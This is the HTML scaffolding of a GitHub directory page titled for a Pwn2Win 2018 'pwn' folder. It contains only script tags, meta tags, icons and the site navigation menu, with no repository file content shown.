src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>project/Pwn2Win/2018/pwn at master · z3r0s/project · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="8193:B9C6:AA11239:AE82FBC:64122574" data-pjax-transient="true"/><meta name="html-safe-nonce" content="6ed094e5321e33764f6366a5921882891a6da22dc4bb0cf42b01531a90182809" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4MTkzOkI5QzY6QUExMTIzOTpBRTgyRkJDOjY0MTIyNTc0IiwidmlzaXRvcl9pZCI6Ijc5ODM0NzM4NzcwNjUwMTY2OTIiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="561b169cd104729486ac591425724233a4a77a27a61b366422466c743c7a2031" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:35975452" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to z3r0s/project development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/b3416fcafb3acdd22fa932a88300c6f1cc8c48a46c51b8d3e522853a47e2d7cf/z3r0s/project" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="project/Pwn2Win/2018/pwn at master · z3r0s/project" /><meta name="twitter:description" content="Contribute to z3r0s/project development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/b3416fcafb3acdd22fa932a88300c6f1cc8c48a46c51b8d3e522853a47e2d7cf/z3r0s/project" /><meta property="og:image:alt" content="Contribute to z3r0s/project development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="project/Pwn2Win/2018/pwn at master · z3r0s/project" /><meta property="og:url" content="https://github.com/z3r0s/project" /><meta property="og:description" content="Contribute to z3r0s/project development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/z3r0s/project git https://github.com/z3r0s/project.git">
<meta name="octolytics-dimension-user_id" content="9260775" /><meta name="octolytics-dimension-user_login" content="z3r0s" /><meta name="octolytics-dimension-repository_id" content="35975452" /><meta name="octolytics-dimension-repository_nwo" content="z3r0s/project" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="35975452" /><meta name="octolytics-dimension-repository_network_root_nwo" content="z3r0s/project" />
<link rel="canonical" href="https://github.com/z3r0s/project/tree/master/Pwn2Win/2018/pwn" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
